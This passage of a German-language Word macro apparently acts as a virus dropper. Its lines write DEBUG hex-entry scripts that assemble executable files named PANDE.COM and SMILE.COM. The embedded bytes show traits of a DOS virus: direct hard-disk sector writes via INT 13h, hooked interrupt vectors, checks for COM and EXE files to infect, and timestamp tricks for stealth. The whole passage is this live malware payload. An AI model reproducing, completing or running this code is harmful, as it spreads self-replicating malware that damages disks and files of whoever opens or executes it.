  6064. Einfügen "Print #1," + Chr$(34) + "E 0590 5A 52 50 05 F0 05 83 D2 00 B9 00 02 F7 F1 0B D2" + Chr$(34)
  6065. EinfügenAbsatz
  6066. Einfügen "Print #1," + Chr$(34) + "E 05A0 74 01 40 89 54 02 89 44 04 58 5A B9 10 00 F7 F1" + Chr$(34)
  6067. EinfügenAbsatz
  6068. Einfügen "Print #1," + Chr$(34) + "E 05B0 2B 44 08 89 54 14 89 44 16 40 89 44 0E C7 44 10" + Chr$(34)
  6069. EinfügenAbsatz
  6070. Einfügen "Print #1," + Chr$(34) + "E 05C0 00 07 E9 7E FF 00 31 37 2F 30 34 2F 39 36 00 E8" + Chr$(34)
  6071. EinfügenAbsatz
  6072. Einfügen "Print #1," + Chr$(34) + "E 05D0 F8 00 E8 5E FC E8 E2 00 3C 00 75 4E E8 CA 00 26" + Chr$(34)
  6073. EinfügenAbsatz
  6074. Einfügen "Print #1," + Chr$(34) + "E 05E0 80 3F FF 75 03 83 C3 07 83 C3 1D 8D 77 FC EB 14" + Chr$(34)
  6075. EinfügenAbsatz
  6076. Einfügen "Print #1," + Chr$(34) + "E 05F0 E8 D7 00 E8 3D FC E8 C1 00 72 2F E8 AB 00 83 C3" + Chr$(34)
  6077. EinfügenAbsatz
  6078. Einfügen "Print #1," + Chr$(34) + "E 0600 1A 8D 77 FE 50 06 53 E8 AC 00 8E C3 26 3B 1E 16" + Chr$(34)
  6079. EinfügenAbsatz
  6080. Einfügen "Print #1," + Chr$(34) + "E 0610 00 5B 07 58 75 14 26 38 44 01 72 0E 26 28 44 01" + Chr$(34)
  6081. EinfügenAbsatz
  6082. Einfügen "Print #1," + Chr$(34) + "E 0620 26 81 2F F0 05 26 83 5F 02 00 E9 AD FE 53 1E 50" + Chr$(34)
  6083. EinfügenAbsatz
  6084. Einfügen "Print #1," + Chr$(34) + "E 0630 56 2E C7 06 52 01 0D 00 B4 51 E8 F6 FB 4B 8E DB" + Chr$(34)
  6085. EinfügenAbsatz
  6086. Einfügen "Print #1," + Chr$(34) + "E 0640 8B 1E 08 00 BE 5F 05 81 FE 6D 05 74 0D 2E AD 39" + Chr$(34)
  6087. EinfügenAbsatz
  6088. Einfügen "Print #1," + Chr$(34) + "E 0650 D8 75 F4 2E C7 06 52 01 03 00 5E 58 1F 5B C3 46" + Chr$(34)
  6089. EinfügenAbsatz
  6090. Einfügen "Print #1," + Chr$(34) + "E 0660 2D 54 42 41 52 52 41 4C 48 50 4B 43 48 B4 3F B9" + Chr$(34)
  6091. EinfügenAbsatz
  6092. Einfügen "Print #1," + Chr$(34) + "E 0670 02 00 EB 21 B4 40 B9 F0 05 99 EB 30 B0 00 3D B0" + Chr$(34)
  6093. EinfügenAbsatz
  6094. Einfügen "Print #1," + Chr$(34) + "E 0680 01 B4 57 E8 AD FB 80 FE C8 C3 B4 3F 3D B4 40 BA" + Chr$(34)
  6095. EinfügenAbsatz
  6096. Einfügen "Print #1," + Chr$(34) + "E 0690 D8 05 B9 18 00 89 D6 0E 1F E9 97 FB B0 02 3D B0" + Chr$(34)
  6097. EinfügenAbsatz
  6098. Einfügen "Print #1," + Chr$(34) + "E 06A0 00 33 C9 33 D2 B4 42 EB 03 B8 C8 2F E9 84 FB B8" + Chr$(34)
  6099. EinfügenAbsatz
  6100. Einfügen "Print #1," + Chr$(34) + "E 06B0 02 3D 3D B4 3E 3D B4 51 EB F2 9C 50 51 52 53 55" + Chr$(34)
  6101. EinfügenAbsatz
  6102. Einfügen "Print #1," + Chr$(34) + "E 06C0 56 57 1E 06 89 E5 FC FF 66 14 8F 46 14 07 1F 5F" + Chr$(34)
  6103. EinfügenAbsatz
  6104. Einfügen "Print #1," + Chr$(34) + "E 06D0 5E 5D 5B 5A 59 58 9D C3 00 00 00 00 00 00 00 00" + Chr$(34)
  6105. EinfügenAbsatz
  6106. Einfügen "Print #1," + Chr$(34) + "E 06E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6107. EinfügenAbsatz
  6108. Einfügen "Print #1," + Chr$(34) + "E 06F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6109. EinfügenAbsatz
  6110. Einfügen "Print #1," + Chr$(34) + "E 0700 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6111. EinfügenAbsatz
  6112. Einfügen "Print #1," + Chr$(34) + "E 0710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6113. EinfügenAbsatz
  6114. Einfügen "Print #1," + Chr$(34) + "RCX" + Chr$(34)
  6115. EinfügenAbsatz
  6116. Einfügen "Print #1," + Chr$(34) + "061F" + Chr$(34)
  6117. EinfügenAbsatz
  6118. Einfügen "Print #1," + Chr$(34) + "W" + Chr$(34)
  6119. EinfügenAbsatz
  6120. Einfügen "Print #1," + Chr$(34) + "Q" + Chr$(34)
  6121. EinfügenAbsatz
  6122. Einfügen "Close #1"
  6123. EinfügenAbsatz
  6124. Einfügen "c$ = " + Chr$(34) + "PANDE.COM" + Chr$(34)
  6125. Finished
  6126. End Sub
  6127.  
  6128. Sub Smile
  6129. Install
  6130. Einfügen "Print #1," + Chr$(34) + "N SMILE.COM" + Chr$(34)
  6131. EinfügenAbsatz
  6132. Einfügen "Print #1," + Chr$(34) + "E 0100 4D 5A F3 01 0C 00 00 00 20 00 81 00 FF FF 60 01" + Chr$(34)
  6133. EinfügenAbsatz
  6134. Einfügen "Print #1," + Chr$(34) + "E 0110 00 08 00 00 1E 00 00 00 3E 00 00 00 01 00 FB 50" + Chr$(34)
  6135. EinfügenAbsatz
  6136. Einfügen "Print #1," + Chr$(34) + "E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6137. EinfügenAbsatz
  6138. Einfügen "Print #1," + Chr$(34) + "E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6139. EinfügenAbsatz
  6140. Einfügen "Print #1," + Chr$(34) + "E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6141. EinfügenAbsatz
  6142. Einfügen "Print #1," + Chr$(34) + "E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6143. EinfügenAbsatz
  6144. Einfügen "Print #1," + Chr$(34) + "E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6145. EinfügenAbsatz
  6146. Einfügen "Print #1," + Chr$(34) + "E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6147. EinfügenAbsatz
  6148. Einfügen "Print #1," + Chr$(34) + "E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6149. EinfügenAbsatz
  6150. Einfügen "Print #1," + Chr$(34) + "E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6151. EinfügenAbsatz
  6152. Einfügen "Print #1," + Chr$(34) + "E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6153. EinfügenAbsatz
  6154. Einfügen "Print #1," + Chr$(34) + "E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6155. EinfügenAbsatz
  6156. Einfügen "Print #1," + Chr$(34) + "E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6157. EinfügenAbsatz
  6158. Einfügen "Print #1," + Chr$(34) + "E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6159. EinfügenAbsatz
  6160. Einfügen "Print #1," + Chr$(34) + "E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6161. EinfügenAbsatz
  6162. Einfügen "Print #1," + Chr$(34) + "E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6163. EinfügenAbsatz
  6164. Einfügen "Print #1," + Chr$(34) + "E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6165. EinfügenAbsatz
  6166. Einfügen "Print #1," + Chr$(34) + "E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6167. EinfügenAbsatz
  6168. Einfügen "Print #1," + Chr$(34) + "E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6169. EinfügenAbsatz
  6170. Einfügen "Print #1," + Chr$(34) + "E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6171. EinfügenAbsatz
  6172. Einfügen "Print #1," + Chr$(34) + "E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6173. EinfügenAbsatz
  6174. Einfügen "Print #1," + Chr$(34) + "E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6175. EinfügenAbsatz
  6176. Einfügen "Print #1," + Chr$(34) + "E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6177. EinfügenAbsatz
  6178. Einfügen "Print #1," + Chr$(34) + "E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6179. EinfügenAbsatz
  6180. Einfügen "Print #1," + Chr$(34) + "E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6181. EinfügenAbsatz
  6182. Einfügen "Print #1," + Chr$(34) + "E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6183. EinfügenAbsatz
  6184. Einfügen "Print #1," + Chr$(34) + "E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6185. EinfügenAbsatz
  6186. Einfügen "Print #1," + Chr$(34) + "E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6187. EinfügenAbsatz
  6188. Einfügen "Print #1," + Chr$(34) + "E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6189. EinfügenAbsatz
  6190. Einfügen "Print #1," + Chr$(34) + "E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6191. EinfügenAbsatz
  6192. Einfügen "Print #1," + Chr$(34) + "E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6193. EinfügenAbsatz
  6194. Einfügen "Print #1," + Chr$(34) + "E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6195. EinfügenAbsatz
  6196. Einfügen "Print #1," + Chr$(34) + "E 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6197. EinfügenAbsatz
  6198. Einfügen "Print #1," + Chr$(34) + "E 0310 00 00 00 00 00 00 00 00 00 00 00 00 FF FF 9C 83" + Chr$(34)
  6199. EinfügenAbsatz
  6200. Einfügen "Print #1," + Chr$(34) + "E 0320 EC 04 50 1E 06 FB 2E 83 3E 1C 00 FF 74 24 C7 06" + Chr$(34)
  6201. EinfügenAbsatz
  6202. Einfügen "Print #1," + Chr$(34) + "E 0330 06 00 F0 FE 8B EC 8C 5E 08 C7 46 06 00 01 8C DD" + Chr$(34)
  6203. EinfügenAbsatz
  6204. Einfügen "Print #1," + Chr$(34) + "E 0340 8C C8 05 58 01 8B D8 B9 F0 0F 03 C1 8E C0 0E 1F" + Chr$(34)
  6205. EinfügenAbsatz
  6206. Einfügen "Print #1," + Chr$(34) + "E 0350 EB 6C 8C CA 81 C2 58 01 8E DA 8B 0E 06 00 03 16" + Chr$(34)
  6207. EinfügenAbsatz
  6208. Einfügen "Print #1," + Chr$(34) + "E 0360 08 00 8B 36 18 00 E3 0F AD 8B F8 AD 03 C2 8E C0" + Chr$(34)
  6209. EinfügenAbsatz
  6210. Einfügen "Print #1," + Chr$(34) + "E 0370 8C C8 26 01 05 E2 F1 8B EC 8C C8 03 06 16 00 89" + Chr$(34)
  6211. EinfügenAbsatz
  6212. Einfügen "Print #1," + Chr$(34) + "E 0380 46 08 A1 14 00 89 46 06 8C CD 03 2E 0E 00 A1 04" + Chr$(34)
  6213. EinfügenAbsatz
  6214. Einfügen "Print #1," + Chr$(34) + "E 0390 00 8B 16 02 00 83 C2 FF 1D 00 00 B1 04 D3 EA 42" + Chr$(34)
  6215. EinfügenAbsatz
  6216. Einfügen "Print #1," + Chr$(34) + "E 03A0 FE C1 D3 E0 03 D0 03 16 0A 00 8B CA 2B 0E 08 00" + Chr$(34)
  6217. EinfügenAbsatz
  6218. Einfügen "Print #1," + Chr$(34) + "E 03B0 8C CB 8E DB 81 C3 58 01 03 DA 8E C3 2B D9 53 51" + Chr$(34)
  6219. EinfügenAbsatz
  6220. Einfügen "Print #1," + Chr$(34) + "E 03C0 B8 01 02 33 DB B9 01 00 BA 80 00 CD 13 72 51 BE" + Chr$(34)
  6221. EinfügenAbsatz
  6222. Einfügen "Print #1," + Chr$(34) + "E 03D0 51 01 33 FF B9 2B 00 FC F3 A6 74 44 BF C6 01 B9" + Chr$(34)
  6223. EinfügenAbsatz
  6224. Einfügen "Print #1," + Chr$(34) + "E 03E0 04 00 26 83 7D 02 00 77 0C 26 83 3D 0C 77 06 26" + Chr$(34)
  6225. EinfügenAbsatz
  6226. Einfügen "Print #1," + Chr$(34) + "E 03F0 83 3D 00 77 2B 83 C7 10 E2 E8 BE 51 01 33 FF B9" + Chr$(34)
  6227. EinfügenAbsatz
  6228. Einfügen "Print #1," + Chr$(34) + "E 0400 2B 00 FC E8 88 01 06 1F 0E 07 B8 0B 03 B9 02 00" + Chr$(34)
  6229. EinfügenAbsatz
  6230. Einfügen "Print #1," + Chr$(34) + "E 0410 CD 13 1E 07 0E 1F 72 08 B8 01 03 B9 01 00 CD 13" + Chr$(34)
  6231. EinfügenAbsatz
  6232. Einfügen "Print #1," + Chr$(34) + "E 0420 59 5B 8C CA 33 FF 06 57 51 B9 1C 00 BE 35 01 FC" + Chr$(34)
  6233. EinfügenAbsatz
  6234. Einfügen "Print #1," + Chr$(34) + "E 0430 F3 A4 59 FA CB 8B C1 8E DB 8E C2 33 F6 33 FF B9" + Chr$(34)
  6235. EinfügenAbsatz
  6236. Einfügen "Print #1," + Chr$(34) + "E 0440 08 00 F3 A5 43 42 8B C8 E2 EB 8E D5 FB 07 1F 58" + Chr$(34)
  6237. EinfügenAbsatz
  6238. Einfügen "Print #1," + Chr$(34) + "E 0450 CF FA 33 DB 8E DB 8E D3 BC 00 7C FB A1 13 04 2D" + Chr$(34)
  6239. EinfügenAbsatz
  6240. Einfügen "Print #1," + Chr$(34) + "E 0460 06 00 A3 13 04 B1 06 D3 E0 8E C0 B8 0B 02 B9 02" + Chr$(34)
  6241. EinfügenAbsatz
  6242. Einfügen "Print #1," + Chr$(34) + "E 0470 00 BA 80 00 CD 13 BB 7C 01 06 53 CB FA B8 16 02" + Chr$(34)
  6243. EinfügenAbsatz
  6244. Einfügen "Print #1," + Chr$(34) + "E 0480 87 06 70 00 2E A3 50 15 8C C8 87 06 72 00 2E A3" + Chr$(34)
  6245. EinfügenAbsatz
  6246. Einfügen "Print #1," + Chr$(34) + "E 0490 52 15 2E C7 06 54 15 FF FF 2E C7 06 56 15 FF FF" + Chr$(34)
  6247. EinfügenAbsatz
  6248. Einfügen "Print #1," + Chr$(34) + "E 04A0 2E C7 06 58 15 FF FF FB 0E 07 BE 00 7C BF 51 01" + Chr$(34)
  6249. EinfügenAbsatz
  6250. Einfügen "Print #1," + Chr$(34) + "E 04B0 B9 2B 00 FC E8 D7 00 B8 00 7C 1E 50 CB 50 56 1E" + Chr$(34)
  6251. EinfügenAbsatz
  6252. Einfügen "Print #1," + Chr$(34) + "E 04C0 0E 1F 8B 36 5A 15 FE 0E 5C 15 F6 06 5C 15 07 75" + Chr$(34)
  6253. EinfügenAbsatz
  6254. Einfügen "Print #1," + Chr$(34) + "E 04D0 28 46 81 FE 47 15 72 21 B0 34 E6 43 33 C0 E6 40" + Chr$(34)
  6255. EinfügenAbsatz
  6256. Einfügen "Print #1," + Chr$(34) + "E 04E0 E6 40 8E D8 2E A1 4C 15 A3 20 00 2E A1 4E 15 A3" + Chr$(34)
  6257. EinfügenAbsatz
  6258. Einfügen "Print #1," + Chr$(34) + "E 04F0 22 00 2E FE 06 5D 15 EB 15 89 36 5A 15 D0 04 8A" + Chr$(34)
  6259. EinfügenAbsatz
  6260. Einfügen "Print #1," + Chr$(34) + "E 0500 24 80 E4 01 D0 E4 E4 61 24 FC 0A C4 E6 61 B0 20" + Chr$(34)
  6261. EinfügenAbsatz
  6262. Einfügen "Print #1," + Chr$(34) + "E 0510 E6 20 1F 5E 58 CF 1E 50 53 33 C0 8E D8 A1 84 00" + Chr$(34)
  6263. EinfügenAbsatz
  6264. Einfügen "Print #1," + Chr$(34) + "E 0520 2E 39 06 54 15 75 0A A1 86 00 2E 39 06 56 15 74" + Chr$(34)
  6265. EinfügenAbsatz
  6266. Einfügen "Print #1," + Chr$(34) + "E 0530 17 A1 84 00 2E A3 54 15 A1 86 00 2E A3 56 15 2E" + Chr$(34)
  6267. EinfügenAbsatz
  6268. Einfügen "Print #1," + Chr$(34) + "E 0540 C7 06 58 15 B6 00 EB 3E 2E FF 0E 58 15 75 37 2E" + Chr$(34)
  6269. EinfügenAbsatz
  6270. Einfügen "Print #1," + Chr$(34) + "E 0550 A1 50 15 A3 70 00 2E A1 52 15 A3 72 00 B8 D4 03" + Chr$(34)
  6271. EinfügenAbsatz
  6272. Einfügen "Print #1," + Chr$(34) + "E 0560 87 06 84 00 2E A3 54 15 8C C8 87 06 86 00 2E A3" + Chr$(34)
  6273. EinfügenAbsatz
  6274. Einfügen "Print #1," + Chr$(34) + "E 0570 56 15 B8 10 00 BB 5E 15 2E C6 07 00 43 48 75 F8" + Chr$(34)
  6275. EinfügenAbsatz
  6276. Einfügen "Print #1," + Chr$(34) + "E 0580 2E C6 06 47 15 FF 5B 58 1F 2E FF 2E 50 15 26 8A" + Chr$(34)
  6277. EinfügenAbsatz
  6278. Einfügen "Print #1," + Chr$(34) + "E 0590 05 86 04 AA 46 E2 F7 C3 11 2A 03 12 2A 03 30 BF" + Chr$(34)
  6279. EinfügenAbsatz
  6280. Einfügen "Print #1," + Chr$(34) + "E 05A0 02 3C 43 04 3D 43 04 3E AC 03 42 89 03 45 00 04" + Chr$(34)
  6281. EinfügenAbsatz
  6282. Einfügen "Print #1," + Chr$(34) + "E 05B0 46 1C 04 4E 5A 03 4F 5A 03 5B 43 04 6C 34 04 50" + Chr$(34)
  6283. EinfügenAbsatz
  6284. Einfügen "Print #1," + Chr$(34) + "E 05C0 51 52 1E 0E 1F 2E 80 3E 47 15 00 74 56 B4 2A E8" + Chr$(34)
  6285. EinfügenAbsatz
  6286. Einfügen "Print #1," + Chr$(34) + "E 05D0 2B 02 39 0E 48 15 72 4B 39 16 4A 15 72 45 FA 33" + Chr$(34)
  6287. EinfügenAbsatz
  6288. Einfügen "Print #1," + Chr$(34) + "E 05E0 C0 8E D8 B8 BD 01 87 06 20 00 2E A3 4C 15 8C C8" + Chr$(34)
  6289. EinfügenAbsatz
  6290. Einfügen "Print #1," + Chr$(34) + "E 05F0 87 06 22 00 2E A3 4E 15 B0 34 E6 43 B0 80 E6 40" + Chr$(34)
  6291. EinfügenAbsatz
  6292. Einfügen "Print #1," + Chr$(34) + "E 0600 B0 00 E6 40 0E 1F C6 06 5D 15 00 C6 06 5C 15 00" + Chr$(34)
  6293. EinfügenAbsatz
  6294. Einfügen "Print #1," + Chr$(34) + "E 0610 C7 06 5A 15 47 06 FB 80 3E 5D 15 00 74 F9 C6 06" + Chr$(34)
  6295. EinfügenAbsatz
  6296. Einfügen "Print #1," + Chr$(34) + "E 0620 47 15 00 1F 5A 59 58 E9 BE 00 E8 D0 01 3C 00 75" + Chr$(34)
  6297. EinfügenAbsatz
  6298. Einfügen "Print #1," + Chr$(34) + "E 0630 55 9C 50 53 06 B4 2F E8 C3 01 26 80 3F FF 75 03" + Chr$(34)
  6299. EinfügenAbsatz
  6300. Einfügen "Print #1," + Chr$(34) + "E 0640 83 C3 08 26 8A 47 16 24 1F 3C 1F 75 35 26 81 6F" + Chr$(34)
  6301. EinfügenAbsatz
  6302. Einfügen "Print #1," + Chr$(34) + "E 0650 1C 80 15 26 83 5F 1E 00 EB 23 E8 A0 01 72 27 9C" + Chr$(34)
  6303. EinfügenAbsatz
  6304. Einfügen "Print #1," + Chr$(34) + "E 0660 50 53 06 B4 2F E8 95 01 26 8A 47 16 24 1F 3C 1F" + Chr$(34)
  6305. EinfügenAbsatz
  6306. Einfügen "Print #1," + Chr$(34) + "E 0670 75 10 26 81 6F 1A 80 15 26 83 5F 1C 00 26 80 77" + Chr$(34)
  6307. EinfügenAbsatz
  6308. Einfügen "Print #1," + Chr$(34) + "E 0680 16 1F 07 5B 58 9D CA 02 00 0B DB 74 5B 53 E8 73" + Chr$(34)
  6309. EinfügenAbsatz
  6310. Einfügen "Print #1," + Chr$(34) + "E 0690 01 5B 72 54 0A C0 75 07 81 C2 80 15 83 D1 00 E8" + Chr$(34)
  6311. EinfügenAbsatz
  6312. Einfügen "Print #1," + Chr$(34) + "E 06A0 5B 01 72 E2 2D 80 15 83 DA 00 EB DA 0B DB 74 38" + Chr$(34)
  6313. EinfügenAbsatz
  6314. Einfügen "Print #1," + Chr$(34) + "E 06B0 50 51 52 56 1E 0E 1F 53 E8 49 01 8B F3 5B 72 0D" + Chr$(34)
  6315. EinfügenAbsatz
  6316. Einfügen "Print #1," + Chr$(34) + "E 06C0 C7 04 00 00 80 7C 02 00 74 03 E8 B8 01 1F 5E 5A" + Chr$(34)
  6317. EinfügenAbsatz
  6318. Einfügen "Print #1," + Chr$(34) + "E 06D0 59 58 EB 14 53 51 BB 98 02 B9 0D 00 2E 3A 27 74" + Chr$(34)
  6319. EinfügenAbsatz
  6320. Einfügen "Print #1," + Chr$(34) + "E 06E0 0C 83 C3 03 E2 F6 59 5B 2E FF 2E 54 15 55 8B EC" + Chr$(34)
  6321. EinfügenAbsatz
  6322. Einfügen "Print #1," + Chr$(34) + "E 06F0 2E 8B 5F 01 87 5E 04 8B 4E 0A 87 4E 02 5D 9D C3" + Chr$(34)
  6323. EinfügenAbsatz
  6324. Einfügen "Print #1," + Chr$(34) + "E 0700 E8 FA 00 72 48 9C 53 52 E8 F9 00 72 09 2E 8A 57" + Chr$(34)
  6325. EinfügenAbsatz
  6326. Einfügen "Print #1," + Chr$(34) + "E 0710 02 8B D8 E8 0E 01 5A 5B 9D E9 C7 00 E8 DE 00 72" + Chr$(34)
  6327. EinfügenAbsatz
  6328. Einfügen "Print #1," + Chr$(34) + "E 0720 2C 9C 53 51 87 D9 E8 DB 00 72 03 2E 89 0F 59 5B" + Chr$(34)
  6329. EinfügenAbsatz
  6330. Einfügen "Print #1," + Chr$(34) + "E 0730 9D E9 AF 00 0A C0 75 B0 52 8B D6 E8 F6 00 5A 72" + Chr$(34)
  6331. EinfügenAbsatz
  6332. Einfügen "Print #1," + Chr$(34) + "E 0740 A7 EB 05 E8 EE 00 72 A0 E8 B2 00 73 03 E9 93 00" + Chr$(34)
  6333. EinfügenAbsatz
  6334. Einfügen "Print #1," + Chr$(34) + "E 0750 9C 50 53 51 52 1E 0E 1F 8B D8 B8 00 44 E8 9D 00" + Chr$(34)
  6335. EinfügenAbsatz
  6336. Einfügen "Print #1," + Chr$(34) + "E 0760 72 7B F7 C2 80 00 75 75 E8 7B 00 0B C2 75 33 E8" + Chr$(34)
  6337. EinfügenAbsatz
  6338. Einfügen "Print #1," + Chr$(34) + "E 0770 AA 00 72 69 B4 2A E8 84 00 80 C6 03 80 FE 0C 76" + Chr$(34)
  6339. EinfügenAbsatz
  6340. Einfügen "Print #1," + Chr$(34) + "E 0780 04 41 80 EE 0C 89 0E 48 15 89 16 4A 15 B4 40 B9" + Chr$(34)
  6341. EinfügenAbsatz
  6342. Einfügen "Print #1," + Chr$(34) + "E 0790 80 15 E8 66 00 72 3C 33 C1 75 38 B2 01 E8 84 00" + Chr$(34)
  6343. EinfügenAbsatz
  6344. Einfügen "Print #1," + Chr$(34) + "E 07A0 EB 3B E8 46 00 E8 74 00 72 33 E8 49 00 72 24 33" + Chr$(34)
  6345. EinfügenAbsatz
  6346. Einfügen "Print #1," + Chr$(34) + "E 07B0 C1 75 20 81 3E 00 00 4D 5A 75 18 39 06 08 00 75" + Chr$(34)
  6347. EinfügenAbsatz
  6348. Einfügen "Print #1," + Chr$(34) + "E 07C0 12 81 3E 12 00 AD DE 75 0A B2 00 E8 56 00 BA 80" + Chr$(34)
  6349. EinfügenAbsatz
  6350. Einfügen "Print #1," + Chr$(34) + "E 07D0 15 EB 02 33 D2 33 C9 B8 00 42 E8 20 00 1F 5A 59" + Chr$(34)
  6351. EinfügenAbsatz
  6352. Einfügen "Print #1," + Chr$(34) + "E 07E0 5B 58 9D CA 02 00 B8 02 42 EB 03 B8 00 42 33 C9" + Chr$(34)
  6353. EinfügenAbsatz
  6354. Einfügen "Print #1," + Chr$(34) + "E 07F0 EB 09 B4 40 EB 02 B4 3F B9 1E 00 33 D2 9C 2E FF" + Chr$(34)
  6355. EinfügenAbsatz
  6356. Einfügen "Print #1," + Chr$(34) + "E 0800 1E 54 15 C3 50 51 8B C3 BB 5E 15 B9 08 00 2E 3B" + Chr$(34)
  6357. EinfügenAbsatz
  6358. Einfügen "Print #1," + Chr$(34) + "E 0810 07 74 06 43 43 43 E2 F6 F9 59 58 C3 53 33 DB E8" + Chr$(34)
  6359. EinfügenAbsatz
  6360. Einfügen "Print #1," + Chr$(34) + "E 0820 E2 FF 5B C3 53 53 33 DB E8 D9 FF 2E 8F 07 2E 88" + Chr$(34)
  6361. EinfügenAbsatz
  6362. Einfügen "Print #1," + Chr$(34) + "E 0830 57 02 5B C3 50 51 56 57 32 E4 B9 00 01 8B F2 FC" + Chr$(34)
  6363. EinfügenAbsatz
  6364. Einfügen "Print #1," + Chr$(34) + "E 0840 AC 0A C0 74 16 3C 5C 74 08 3C 2E 74 08 E2 F1 EB" + Chr$(34)
  6365. EinfügenAbsatz
  6366. Einfügen "Print #1," + Chr$(34) + "E 0850 0A 32 E4 EB EB FE C4 8B FE EB E5 80 FC 01 75 1F" + Chr$(34)
  6367. EinfügenAbsatz
  6368. Einfügen "Print #1," + Chr$(34) + "E 0860 8B F7 AD 25 DF DF 8B C8 AC 24 DF 81 F9 43 4F 75" + Chr$(34)
  6369. EinfügenAbsatz
  6370. Einfügen "Print #1," + Chr$(34) + "E 0870 04 3C 4D 74 0B 81 F9 45 58 75 04 3C 45 74 01 F9" + Chr$(34)
  6371. EinfügenAbsatz
  6372. Einfügen "Print #1," + Chr$(34) + "E 0880 5F 5E 59 58 C3 B8 00 42 33 C9 BA 80 15 E8 6D FF" + Chr$(34)
  6373. EinfügenAbsatz
  6374. Einfügen "Print #1," + Chr$(34) + "E 0890 E8 63 FF 81 3E 00 00 4D 5A 74 3E C7 06 00 00 4D" + Chr$(34)
  6375. EinfügenAbsatz
  6376. Einfügen "Print #1," + Chr$(34) + "E 08A0 5A C7 06 18 00 1C 00 C7 06 1A 00 00 00 C7 06 0E" + Chr$(34)
  6377. EinfügenAbsatz
  6378. Einfügen "Print #1," + Chr$(34) + "E 08B0 00 48 01 C7 06 10 00 FE FF E8 2A FF 2D 80 15 83" + Chr$(34)
  6379. EinfügenAbsatz
  6380. Einfügen "Print #1," + Chr$(34) + "E 08C0 DA 00 A3 1C 00 B9 10 00 F7 F1 83 EA 01 BA 12 10" + Chr$(34)
  6381. EinfügenAbsatz
  6382. Einfügen "Print #1," + Chr$(34) + "E 08D0 1B D0 89 16 0A 00 EB 1E 90 C7 06 1C 00 FF FF B8" + Chr$(34)
  6383. EinfügenAbsatz
  6384. Einfügen "Print #1," + Chr$(34) + "E 08E0 58 01 03 06 08 00 01 06 0E 00 83 06 0A 00 20 83" + Chr$(34)
  6385. EinfügenAbsatz
  6386. Einfügen "Print #1," + Chr$(34) + "E 08F0 06 0C 00 20 73 06 C7 06 0C 00 FF FF C7 06 06 00" + Chr$(34)
  6387. EinfügenAbsatz
  6388. Einfügen "Print #1," + Chr$(34) + "E 0900 00 00 C7 06 08 00 00 00 C7 06 12 00 AD DE C7 06" + Chr$(34)
  6389. EinfügenAbsatz
  6390. Einfügen "Print #1," + Chr$(34) + "E 0910 16 00 00 00 C7 06 14 00 1E 00 E8 C9 FE B9 00 02" + Chr$(34)
  6391. EinfügenAbsatz
  6392. Einfügen "Print #1," + Chr$(34) + "E 0920 F7 F1 89 16 02 00 83 C2 FF 15 00 00 A3 04 00 E8" + Chr$(34)
  6393. EinfügenAbsatz
  6394. Einfügen "Print #1," + Chr$(34) + "E 0930 B9 FE E8 BD FE 72 0F B8 00 57 E8 C0 FE B8 01 57" + Chr$(34)
  6395. EinfügenAbsatz
  6396. Einfügen "Print #1," + Chr$(34) + "E 0940 80 C9 1F E8 B7 FE C3 F9 DC CC 66 33 33 74 66 E3" + Chr$(34)
  6397. EinfügenAbsatz
  6398. Einfügen "Print #1," + Chr$(34) + "E 0950 06 1C D8 F3 81 83 36 8C CC E2 E3 33 12 19 B8 62" + Chr$(34)
  6399. EinfügenAbsatz
  6400. Einfügen "Print #1," + Chr$(34) + "E 0960 C7 83 1E 19 CC CC C1 E6 4F 1C F8 62 F1 8E C7 33" + Chr$(34)
  6401. EinfügenAbsatz
